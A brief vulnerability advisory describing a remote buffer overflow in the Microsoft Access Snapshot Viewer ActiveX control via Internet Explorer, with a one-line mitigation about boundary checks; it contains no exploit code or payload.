Microsoft Access Snapshot Viewer ActiveX Exploit

Microsoft Access Snapshot Viewer is prone to a remote buffer-overflow condition because the software fails to perform sufficient boundary checks on user-supplied parameters. A remote attacker may be able to leverage this issue to execute arbitrary code in the context of the user running the affected Internet Explorer.

Mitigation:

Ensure that boundary checks are performed on user-supplied parameters.
